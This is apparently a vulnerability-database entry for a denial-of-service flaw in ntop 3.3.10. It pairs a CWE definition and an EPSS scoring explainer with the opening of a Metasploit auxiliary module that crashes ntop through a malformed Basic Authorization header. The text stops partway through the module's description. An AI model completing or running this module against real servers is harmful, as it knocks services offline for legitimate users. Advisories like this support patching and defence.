Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information

The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
This issue affects ntop 3.3.10; other versions may also be affected.
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'NTOP <= 3.3.10 Basic Authorization DoS',
'Description' => %q{
A denial of service condition can be reached by specifying an invalid value for the Authorization
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value.
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value.
